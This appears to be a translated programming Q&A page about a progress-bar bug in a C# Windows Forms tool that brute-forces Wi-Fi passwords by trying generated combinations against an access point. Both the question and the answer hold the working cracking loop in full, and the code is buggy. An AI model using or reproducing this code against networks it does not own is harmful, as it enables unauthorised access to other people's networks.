C#预计时间问题

时间:2017-05-22 08:51:02

标签: c# time

我在C#中创建了Windows窗体应用程序来计算估计的时间但是当我点击开始按钮开始计算估计的时间进度条时,它不会改变!

问题出在哪里?

private delegate void SetControlPropertyThreadSafeDelegate(
        Control control,
        string propertyName,
        object propertyValue);

        public static void SetControlPropertyThreadSafe(
                Control control,
                string propertyName,
                object propertyValue)
        {
            if (control.InvokeRequired)
            {
                control.Invoke(new SetControlPropertyThreadSafeDelegate
                (SetControlPropertyThreadSafe),
                new object[] { control, propertyName, propertyValue });
            }
            else
            {
                control.GetType().InvokeMember(
                        propertyName,
                        BindingFlags.SetProperty,
                        null,
                        control,
                        new object[] { propertyValue });
            }
        }

ulong permutations = 0;
        public void bruteforce_crack(AccessPoint selectedAP)
        {
            char[] arr = output.ToCharArray();
            int max = Convert.ToInt32(numericUpDown2.Value);
            int min = Convert.ToInt32(numericUpDown1.Value);

            for (int i = min; i <= max; i++)
            {
                permutations += (ulong)Math.Pow(arr.Count(), i);
            }
            SetControlPropertyThreadSafe(label31, "Text", permutations.ToString());

            for (int i = min; i <= max; i++)
            {
                bruteforce(arr, "", 0, i, selectedAP);
            }
        }

        Stopwatch sw = new Stopwatch();
        int elapsedSec = 0;
        int estimatedTime = 0;
        int passwordLeft = 0;
        int speed = 0;
        private void bruteforce(char[] fin, String pwd, int pos, int length, AccessPoint selectedAP)
        {
            timer1.Start();

            sw.Start();

            if (pos < length)
            {
                foreach (char ch in fin)
                {
                    bruteforce(fin, pwd + ch, pos + 1, length, selectedAP);

                    elapsedSec = Convert.ToInt32(sw.Elapsed.TotalSeconds);

                    // Auth
                    AuthRequest authRequest = new AuthRequest(selectedAP);
                    bool overwrite = true;

                    if (authRequest.IsPasswordRequired)
                    {
                        if (overwrite)
                        {
                            if (authRequest.IsUsernameRequired)
                            {
                                Console.Write("\r\nPlease enter a username: ");
                                authRequest.Username = Console.ReadLine();
                            }
                            authRequest.Password = pwd;

                            if (authRequest.IsDomainSupported)
                            {
                                Console.Write("\r\nPlease enter a domain: ");
                                authRequest.Domain = Console.ReadLine();
                            }
                        }
                    }

                    selectedAP.ConnectAsync(authRequest, overwrite, OnConnectedComplete);
                }
            }
            else
            {
                try
                {
                    SetControlPropertyThreadSafe(label4, "Text", pwd);

                    SetControlPropertyThreadSafe(label5, "Text", count.ToString());
                    count++;

                    speed = count / elapsedSec;
                    SetControlPropertyThreadSafe(label23, "Text", speed + " passwords/s");

                    passwordLeft = (int)permutations - count;
                    estimatedTime = speed * (int)permutations - passwordLeft * speed;


                    SetControlPropertyThreadSafe(progressBar1, "Maximum", (int)permutations);
                    SetControlPropertyThreadSafe(progressBar1, "Value", estimatedTime);
                    SetControlPropertyThreadSafe(label30, "Text", estimatedTime.ToString() + "%");

                    if (check(selectedAP) == true && CheckForInternetConnection() == true)
                    {
                        var timeEnded = DateTime.Now;
                        SetControlPropertyThreadSafe(label4, "Text", pwd);
                        MessageBox.Show("Password is :" + pwd, "Wifi Bruteforce", MessageBoxButtons.OK, MessageBoxIcon.Information);
                        SetControlPropertyThreadSafe(label34, "Text", timeEnded.ToString());
                        sw.Stop();
                        return;
                    }
                }
                catch (Exception ex)
                {
                    MessageBox.Show(ex.Message);
                }
            }
        }
private void timer1_Tick(object sender, EventArgs e)
        {
            SetControlPropertyThreadSafe(progressBar1, "Value", estimatedTime + 1);
        }

1 个答案:

答案 0 :(得分:0)

您的进度条码永远不会运行。

解决方案:更改您的暴力方法。将所有代码从else语句移到if语句,并删除else语句,如下所示:

 private void bruteforce(char[] fin, String pwd, int pos, int length, AccessPoint selectedAP)
    {
        timer1.Start();

        sw.Start();

        if (pos < length)
        {
            foreach (char ch in fin)
            {
                bruteforce(fin, pwd + ch, pos + 1, length, selectedAP);

                elapsedSec = Convert.ToInt32(sw.Elapsed.TotalSeconds);

                // Auth
                AuthRequest authRequest = new AuthRequest(selectedAP);
                bool overwrite = true;

                if (authRequest.IsPasswordRequired)
                {
                    if (overwrite)
                    {
                        if (authRequest.IsUsernameRequired)
                        {
                            Console.Write("\r\nPlease enter a username: ");
                            authRequest.Username = Console.ReadLine();
                        }
                        authRequest.Password = pwd;

                        if (authRequest.IsDomainSupported)
                        {
                            Console.Write("\r\nPlease enter a domain: ");
                            authRequest.Domain = Console.ReadLine();
                        }
                    }
                }

                selectedAP.ConnectAsync(authRequest, overwrite, OnConnectedComplete);
            }



            try
            {
                SetControlPropertyThreadSafe(label4, "Text", pwd);

                SetControlPropertyThreadSafe(label5, "Text", count.ToString());
                count++;

                speed = count / elapsedSec;
                SetControlPropertyThreadSafe(label23, "Text", speed + " passwords/s");

                passwordLeft = (int)permutations - count;
                estimatedTime = speed * (int)permutations - passwordLeft * speed;


                SetControlPropertyThreadSafe(progressBar1, "Maximum", (int)permutations);
                SetControlPropertyThreadSafe(progressBar1, "Value", estimatedTime);
                SetControlPropertyThreadSafe(label30, "Text", estimatedTime.ToString() + "%");

                if (check(selectedAP) == true && CheckForInternetConnection() == true)
                {
                    var timeEnded = DateTime.Now;
                    SetControlPropertyThreadSafe(label4, "Text", pwd);
                    MessageBox.Show("Password is :" + pwd, "Wifi Bruteforce", MessageBoxButtons.OK, MessageBoxIcon.Information);
                    SetControlPropertyThreadSafe(label34, "Text", timeEnded.ToString());
                    sw.Stop();
                    return;
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message);
            }
        }            
    }